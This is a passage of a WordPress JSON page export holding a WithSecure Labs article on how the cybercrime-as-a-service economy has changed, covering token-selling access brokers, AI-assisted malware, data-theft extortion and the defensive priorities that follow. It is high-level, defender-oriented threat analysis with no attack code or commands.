height=\"800\" src=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_insights.jpg\" class=\"wp-component-card-insight__image\" alt=\"\" decoding=\"async\" loading=\"lazy\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_insights.jpg 1200w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_insights-300x200.jpg 300w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_insights-1024x683.jpg 1024w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_insights-768x512.jpg 768w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_insights-447x298.jpg 447w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_insights-219x146.jpg 219w\" sizes=\"auto, (max-width: 1200px) 100vw, 1200px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Article<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">Dfir<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Server Security<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">Ivanti EPMM Exploitation: Hit-and-Run<\/h3>\n                                            <p class=\"wp-component-card-insight__desc\">This blogpost, written by WithSecure\u2019s STINGR Group, presents the analysis of a security incident that happened in February 2026 and was investigated by the WithSecure Incident Response team.<\/p>\n                            <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/ivanti-epmm-exploitation\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>","_links":{"self":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/lab_item\/8187","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/lab_item"}],"about":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/types\/lab_item"}],"author":[{"embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/users\/3"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/media\/8856"}],"wp:attachment":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/media?parent=8187"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/categories?post=8187"},{"taxonomy":"labs_content_type","embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/labs_content_type?post=8187"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}},{"id":8094,"date":"2026-03-12T09:00:00","date_gmt":"2026-03-12T09:00:00","guid":{"rendered":"https:\/\/www.withsecure.com\/?post_type=lab_item&#038;p=8094"},"modified":"2026-09-08T10:04:30","modified_gmt":"2026-09-08T07:04:30","slug":"changing-economics-of-cybercrime-as-a-service","status":"publish","type":"lab_item","link":"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/changing-economics-of-cybercrime-as-a-service\/","title":{"rendered":"The Changing Economics of Cybercrime-as-a-Service: What Defenders Need to Know"},"content":{"rendered":"<section\n    class=\"wp-block-one-column-block edwp-block js-wp-block-one-column-block wp-block-one-column-block--content-1 wp-block-one-column-block--meta-sharing layout--spacing-xxxxl-top layout--spacing-xl-bottom\"\n    >\n    <div class=\"wp-block-one-column-block__container\">\n                                                                                                                            <div class='wp-block-one-column-block__meta-sharing-grid'><div class=\"wp-component-content wp-component-content--default wp-block-one-column-block__content fade-in\">\n            <h1 class=\"wp-component-heading text--h2 wp-component-content__title\">\n    The Changing Economics of Cybercrime-as-a-Service: What Defenders  <span class=\"blue-text\">Need to Know<\/span><\/h1>                    <div class=\"wp-component-content__inner\">\n                                                    <div class=\"wp-component-content__meta\">\n                                                    <span class=\"wp-component-content__content-type\">\n                                Article                            <\/span>\n                                                                            <span class=\"wp-component-content__meta-categories\">\n                                                                    <span class=\"wp-component-content__meta-category\">\n                                        Network Security                                    <\/span>\n                                                                    <span class=\"wp-component-content__meta-category\">\n                                        Ransomware                                    <\/span>\n                                                            <\/span>\n                                                                                                    <span class=\"wp-component-content__meta-date\">\n                                Mar 12, 2026                            <\/span>\n                                                                    <\/div>\n                                            <\/div>\n                <\/div><section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--content-1 wp-block-sharing-icons--disable-container wp-block-one-column-block__sharing fade-in wp-block-one-column-block__sharing fade-in\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/changing-economics-of-cybercrime-as-a-service\/&#038;title=The%20Changing%20Economics%20of%20Cybercrime-as-a-Service:%20What%20Defenders%20Need%20to%20Know\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=The Changing Economics of Cybercrime-as-a-Service: What Defenders Need to Know&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/changing-economics-of-cybercrime-as-a-service\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n<\/div>                                                                            <div class=\"wp-component-image__wrapper wp-block-one-column-block__image fade-in\">\n                    <\/div>\n                                                                                <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-one-column-block edwp-block js-wp-block-one-column-block wp-block-one-column-block--content-1 layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-one-column-block__container\">\n                                                                                                                                    <div class=\"wp-component-image__wrapper wp-block-one-column-block__image fade-in\">\n                    <figure class=\"wp-component-image__figure\">\n                                            <img loading=\"lazy\" decoding=\"async\" width=\"1200\" height=\"800\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research.jpg.webp\" class=\"wp-component-image\n                            wp-component-image--desktop\n                            wp-component-image--mobile\n                            wp-component-image--ratio-content-25-1 wp-component-image--fit-cover\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research.jpg.webp 1200w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research-300x200.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research-1024x683.jpg.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research-768x512.jpg.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research-447x298.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_research-219x146.jpg.webp 219w\" sizes=\"auto, (max-width: 1200px) 100vw, 1200px\" \/>                                                    <\/figure>\n                    <\/div>\n                                                                                <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-two-column-block edwp-block js-wp-block-two-column-block wp-block-two-column-block--content-1 wp-block-two-column-block__left--align-y-top wp-block-two-column-block__right--align-y-top wp-block-two-column-block--split-sidebar layout--none-top layout--spacing-xxxl-bottom\"\n    data-block-id=\"block_aca46a824ae94c2194c7eae832885609\"\n    >\n    <div class=\"wp-block-two-column-block__container row-load\">\n                                                        <div class=\"wp-block-two-column-block__left\">\n                                    <div class=\"wp-component-authors-list wp-block-two-column-block__authors\">\n                    <p class=\"wp-component-authors-list__title\">\n                Authors            <\/p>\n        \n        <div class=\"wp-component-authors-list__items\">\n                                                <div class=\"wp-component-author-card \">\n    <div class=\"wp-component-author-card__media\">\n                    <span class=\"wp-component-author-card__photo-placeholder\" aria-hidden=\"true\">\n                <svg viewBox=\"0 0 64 64\" role=\"presentation\" focusable=\"false\">\n                    <path d=\"M32 34c-8.1 0-14.7 6.6-14.7 14.7v3.5h29.4v-3.5C46.7 40.6 40.1 34 32 34z\"><\/path>\n                    <path d=\"M32 31.2c6 0 10.9-4.9 10.9-10.9S38 9.4 32 9.4s-10.9 4.9-10.9 10.9S26 31.2 32 31.2z\"><\/path>\n                <\/svg>\n            <\/span>\n            <\/div>\n    <div class=\"wp-component-author-card__content\">\n                    <h3 class=\"wp-component-author-card__name\">Neeraj Singh<\/h3>\n        \n                \n            <\/div>\n\n<\/div>\n\n                                    <\/div>\n\n            <\/div>\n<nav\n    class=\"wp-component-content-navigation wp-block-two-column-block__content-nav js-content-navigation\"\n    data-bem-base=\"wp-component-content-navigation\"\n    data-nav-column=\"left\"\n    data-nav-type=\"auto\"\n>\n            <p class=\"wp-component-content-navigation__title\">\n            Content        <\/p>\n    \n    <div class=\"wp-component-content-navigation__mobile\">\n        <label class=\"wp-component-content-navigation__mobile-label\">\n            <span class=\"wp-component-content-navigation__mobile-label-text\">\n                Content navigation            <\/span>\n            <select class=\"wp-component-content-navigation__select js-content-navigation-select\">\n                <option value=\"\">\n                    Select a section                <\/option>\n                            <\/select>\n        <\/label>\n    <\/div>\n\n    <div class=\"wp-component-content-navigation__desktop\">\n        <div class=\"wp-component-content-navigation__list-wrapper\">\n            <span\n                class=\"wp-component-content-navigation__indicator js-content-navigation-indicator\"\n                aria-hidden=\"true\"\n            ><\/span>\n            <ul class=\"wp-component-content-navigation__list js-content-navigation-list\">\n                            <\/ul>\n        <\/div>\n    <\/div>\n<\/nav>\n<section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--disable-container wp-block-two-column-block__share wp-block-two-column-block__hide-mobile wp-block-two-column-block__share wp-block-two-column-block__hide-mobile\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this story                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/changing-economics-of-cybercrime-as-a-service\/&#038;title=The%20Changing%20Economics%20of%20Cybercrime-as-a-Service:%20What%20Defenders%20Need%20to%20Know\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=The Changing Economics of Cybercrime-as-a-Service: What Defenders Need to Know&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/changing-economics-of-cybercrime-as-a-service\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n                <\/div>\n                                                <div class=\"wp-block-two-column-block__right\">\n                                <div class=\"wp-component-paragraph wp-block-two-column-block__paragraph \">\n    <p>Back in 2023, when we last wrote about <a href=\"https:\/\/www.withsecure.com\/content\/dam\/with-secure\/en\/resources\/WS_Professionalisation_of_CyberCrime_EN.pdf\">Cybercrime-as-a-Service<\/a>, we described cybercrime as an economy that had figured out how to scale. Ransomware-as-a-Service affiliates, Initial Access Brokers, Crypter-as-a-Service providers, Malware-as-a-Service developers &#8211; each of them owning a role in the kill chain and each handoff between them monetized.<\/p>\n<p>It looked like a trend back then. Now it looks like the baseline, the foundation on which everything else is getting built.<\/p>\n<h2>How initial access has shifted<\/h2>\n<p>Initial Access Brokers (IAB) were already monetizing footholds and lowering the technical bar for operators who simply did not want to deal with the hard part of gaining initial access. What has changed is what the foothold often looks like. Across recent incident response investigations, we are increasingly seeing cases where IABs are not just trading stolen passwords. They are selling session tokens and cookie-backed authenticated login states, which means live, ready-to-use access where authentication has already happened.<\/p>\n<p>Infostealers played a big role behind this shift. Deployed at scale across endpoints, they harvest active sessions from browsers, endpoint credential stores, and enterprise SSO environments. The resulting access sells fast because it is immediately actionable. It eliminates noisy behaviour that defenders used to detect, such as failed logins, brute forcing, MFA prompt flooding, and in some cases removes the need for privilege escalation steps, depending on what permissions the harvested session already carries.<\/p>\n<p>This has downstream consequences that defenders are still adjusting to. The dwell time that defenders previously relied upon to detect intrusions before they escalated has shortened. It also changes what response playbook must look like. Password rotation is no longer sufficient when the active threat is a live session that survives credential changes. Defenders need to revoke sessions, invalidate tokens, and treat persistence in identity systems with the same urgency they apply to persistence on endpoints.<\/p>\n<h2>Artificial Intelligence is entering the attack chain<\/h2>\n<p>The window for treating AI in cybercrime as a future concern has closed. CERT-UA\u2019s analysis of <a href=\"https:\/\/cert.gov.ua\/article\/6284730\" target=\"_blank\" rel=\"noopener\">LAMEHUG<\/a>, a python-based malware provides example of LLM integration inside an active attack chain. LAMEHUG calls the API at runtime, querying the model to dynamically generate system commands based on natural language descriptions, then execute those commands directly on compromised host. This is not a proof-of-concept or research finding. The campaign was directed at Ukrainian executive government authorities during an active conflict.<\/p>\n<p>Malware capable of generating malicious code dynamically through API calls, instead of using a fixed payload, has also been detected. Signature-based detection, and even many behaviour-based detections, are built on the assumption that a payload has a consistent, identifiable structure. A payload that rewrites itself breaks that assumption.<\/p>\n<p>In operational contexts, threat actors have been observed using generative AI to produce bespoke command-and-control scripts and custom malware on demand, reducing the time between gaining initial access and achieving their objectives. AI is also being used to automate earlier stages of the attack chain entirely, including reconnaissance, vulnerability scanning across target infrastructure, and deployment staging. These tools are now available commercially on underground forums with subscription pricing models and tiered features.<\/p>\n<p>For defenders, the implication is to defend against faster attacks. When a single operator can automate reconnaissance, generate custom malware, and move through the entire kill chain with fewer external dependencies, there are fewer transaction traces, fewer inter-group communication patterns, and less time between access and impact.<\/p>\n<h2>The boundary between cybercriminal and state-aligned activity is narrowing<\/h2>\n<p>Earlier, state-aligned threat actors using criminal underground infrastructure to purchase access was described as an emerging and somewhat exceptional overlap. State actors hiding within the noise of commodity criminal tooling to maintain plausible deniability was a trend worth monitoring. That framing is no longer accurate for describing current trends.<\/p>\n<p>We now routinely encounter operations where the same IAB infrastructure and relay networks appear in what could be classified as either a criminal extortion operation or a state-aligned espionage campaign. The early stages of the attack chain are often operationally indistinguishable. The same access and infrastructure can serve both criminal and state-aligned objectives, with different end goals emerging from the same initial footprint.<\/p>\n<h2>The shift from encryption to exfiltration as primary leverage<\/h2>\n<p>Ransomware has been the profit engine driving the professionalization of the criminal ecosystem for several years, but the mechanics of leverage have been shifting away from encryption and toward data theft. Organization-wide encryption is a slow, operationally complex process that generates significant noise across a network and regularly triggers alerts during execution. Some operators are skipping it as data theft alone achieves the same leverage faster and with less operational risk.<\/p>\n<p>The logic from an attacker&#8217;s perspective is straightforward. Steal sensitive data, threaten publication, and collect payment. There is no decryption key to manage, no negotiation complexity around proving that the decryptor actually works, and no risk that security software blocks the encryption process. For defenders, data staging, anomalous access to sensitive repositories and files, and exfiltration related traffic are now the indicators that should be triggering the same response priority as a ransomware alert.<\/p>\n<h2>Disrupting the infrastructure of trust<\/h2>\n<p>Two recent law enforcement operations gave us an insightful look at what it actually costs to attack the shared infrastructure layer of the cybercrime ecosystem rather than individual actors. <a href=\"https:\/\/www.europol.europa.eu\/operations-services-and-innovation\/operations\/operation-endgame\" target=\"_blank\" rel=\"noopener\">Operation Endgame<\/a> targeted dropper and loader ecosystems specifically, going after the distribution infrastructure used to deliver malware payloads at scale, infrastructure that was being shared across multiple operators from different threat groups simultaneously. <a href=\"https:\/\/www.europol.europa.eu\/media-press\/newsroom\/news\/law-enforcement-disrupt-worlds-biggest-ransomware-operation\" target=\"_blank\" rel=\"noopener\">Operation Cronos<\/a> targeted LockBit directly, compromising the platform itself and taking down servers across multiple countries.<\/p>\n<p>Neither operation ended the cybercrime economy, but what they demonstrated is that attacking shared services infrastructure creates multiplier effects, hitting multiple operators at once rather than taking down one group at a time. Moreover, they established that trust itself is a legitimate target. When operators cannot rely on the infrastructure they depend on, the cost-benefit calculation of participation changes.<\/p>\n<h2>Where most organisations are still behind<\/h2>\n<p>Many organizations still think that an intrusion is the work of a single unified group performing an attack;in a pre-defined technique. This produces defensive failures of detecting late, responding under pressure, and discovering during the incident that the attack involved multiple specialized operators each performing their role. If you want to reduce damage, you cannot start when the ransom note appears. You need to act earlier.<\/p>\n<p>At the same time, defenders are also getting better at working together. Public-private partnerships are improving. Government agencies and security vendors are producing more operationally useful guidance. Law enforcement coordinates across countries more than before. The information sharing problem is not fully solved though. Legal constraints, conflicting disclosure policies, incompatible sharing formats, and institutional reluctance all of them slow down the sharing of threat intelligence between organizations. Threat actors do not carry these burdens. Cybercrime-as-a-service moves fast because it is built for profit, not compliance. Defenders are improving but often slower than the threat is growing.<\/p>\n<h2>How defensive priorities need to shift<\/h2>\n<p>Identity infrastructure is not just a supporting concern anymore. The shift toward session and token trading means endpoint security and perimeter controls are not enough if identities are not monitored. The ability to revoke sessions, detect abnormal authentication behaviour, invalidating tokens and killing persistence in identity layers quickly is now as important as the ability to isolate an endpoint.<\/p>\n<p>Detection and response investment for many organizations has been inclined toward preventing malware from executing. Data staging activity, anomalous access patterns against sensitive repositories, and unusual outbound traffic are the signals that should be generating the same response urgency as a malware alert.<\/p>\n<p>Third-party and supplier access needs to be treated in scope for review. Knowing exactly which suppliers hold privileged access to your environment, auditing that access on a regular basis, and being able to revoke it quickly when something looks wrong is no longer optional.<\/p>\n<p>Continuous exposure management, keeping internet-facing asset patched, securing new SaaS adoptions means you are reducing the available entry points before any attacker has a chance to find them. IABs are running their own automated scanning continuously, so an exposed service that appears today can be listed for sale within days. When you can revoke access quickly, block lateral movement, and remove persistence fast, transferring the responsibility to new operators fail. Measure your response speed and treat it as a priority, not just a technical goal.<\/p>\n<h2>How the Cybercrime-as-a-Service is likely to develop<\/h2>\n<p>The service model will keep getting more modular because it&#8217;s easier for new operators to join and the whole system becomes harder to take down. Operators who lack the technical depth or financial resources to build capability in-house will keep subscribing to these services. Through 2025, dozens of new ransomware and extortion groups emerged alongside hundreds of new ransomware variants.<\/p>\n<p>AI is creating a different pathway. For operators with more technical capability or resources, AI tooling is reducing external dependencies. Generating obfuscated malware variants, automating reconnaissance, handling negotiation steps &#8211; these are capabilities that can now be built in-house using commercially available AI tooling without buying them from an underground marketplace. This is not the end of the service model though. What it is creating is different models where lower-capability operators who remain dependent on the marketplace and more sophisticated operators who are moving selected capabilities in-house to reduce their operational exposure. The underground marketplace for AI-enabled offensive tooling is also maturing with tiered pricing and features, leading to in-house capability getting commoditized at the tooling layer differently than traditional underground services.<\/p>\n<p>The cybercrime economy has been refined, accelerated, and partially automated. The service model is still running. It has gotten faster, quieter, and more entangled with operators whose motivations extend well beyond financial gain.<\/p>\n<\/div>\n<section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--disable-container wp-block-two-column-block__share wp-block-two-column-block__mobile-after-right wp-block-two-column-block__share wp-block-two-column-block__mobile-after-right\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this story                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/changing-economics-of-cybercrime-as-a-service\/&#038;title=The%20Changing%20Economics%20of%20Cybercrime-as-a-Service:%20What%20Defenders%20Need%20to%20Know\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=The Changing Economics of Cybercrime-as-a-Service: What Defenders Need to Know&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/changing-economics-of-cybercrime-as-a-service\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n                <\/div>\n                        <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-cta-banner edwp-block js-wp-block-cta-banner wp-block-cta-banner--style-icon wp-block-cta-banner--no-image layout--spacing-xxxl-top layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-cta-banner__container\">\n        <div class=\"wp-block-cta-banner__box row-load\">\n            <div class=\"wp-component-content wp-component-content--help-text wp-component-content--dark wp-block-cta-banner__content\">\n                        <div class=\"wp-component-content__inner\">\n                <h2 class=\"wp-component-heading text--h2 wp-component-heading--dark wp-component-content__title\">\n    What <span class=\"blue-text\">next?<\/span><\/h2>                                    <div class=\"wp-component-content__content wysiwyg wysiwyg--dark\">\n                        <div class=\"wp-component-paragraph wp-component-paragraph--dark\">\n    <p class=\"text--p-medium\">Discover WithSecure\u2122 Elements Exposure Management.<br \/>\n&#8211; No credit card required. No obligations.No complexity.<\/p>\n<\/div>\n                    <\/div>\n                            <\/div>\n                            <div class=\"wp-component-content__buttons\">\n                <a class=\"wp-component-button btn btn--primary btn--dark\" href=\"https:\/\/www.withsecure.com\/en\/contact-us\/\">Contact us<\/a>            <\/div>\n                <\/div>                    <\/div>\n    <\/div>\n<\/section>\n\n\n\n\n<section\n    class=\"wp-block-cards edwp-block wp-block-cards--col-3 js-wp-block-cards wp-block-cards--show-overflow wp-block-cards--auto-slides-per-view layout--spacing-xxxl-top layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-cards__container\">\n        <div class=\"wp-component-content wp-component-content--default wp-block-cards__content\">\n            <h2 class=\"wp-component-heading text--h2 wp-component-content__title\">\n    Related <span class=\"blue-text\">Labs content<\/span><\/h2>                    <div class=\"wp-component-content__inner\">\n                                    <div class=\"wp-component-content__content wysiwyg\">\n                        <div class=\"wp-component-paragraph \">\n    <p class=\"text--p-medium\"><span data-teams=\"true\">Find related content relating to this topic.<\/span><\/p>\n<\/div>\n                    <\/div>\n                                                            <\/div>\n                <\/div>                            <div\n                class=\"swiper wp-block-cards__swiper js-wp-block-cards-swiper\"\n                data-slides-per-view-desktop=\"auto\"\n                data-slides-per-view-tablet=\"auto\"\n                data-slides-per-view-mobile=\"auto\"\n            >\n                <div class=\"swiper-wrapper wp-block-cards__swiper-wrapper row-load\">\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card wp-component-card-insight--highlighted\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"618\" height=\"440\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp 618w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-300x214.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-447x318.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-205x146.jpg.webp 205w\" sizes=\"auto, (max-width: 618px) 100vw, 618px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Blog post<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">Attack Detection<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Dfir<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Incident Response<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Malware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Research<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">Inside Phexia: A macOS malware delivered through ClickFix<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary btn--dark wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/phexia-macos-malware\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"2048\" height=\"1366\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"Overhead view down a wooden staircase of two people working on laptops in a casual seating nook below.\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506.jpg.webp 2048w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-300x200.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-1024x683.jpg.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-768x512.jpg.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-1536x1025.jpg.webp 1536w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-447x298.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-219x146.jpg.webp 219w\" sizes=\"auto, (max-width: 2048px) 100vw, 2048px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Article<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">Endpoint Security<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Malware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Ransomware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">Stolen creds and stinging loaders: An initial access campaign via SEO poisoning<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/initial-access-via-seo-poisoning\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"618\" height=\"440\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp 618w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-300x214.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-447x318.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-205x146.jpg.webp 205w\" sizes=\"auto, (max-width: 618px) 100vw, 618px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Blog post<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">AI Security<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Software Protection<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 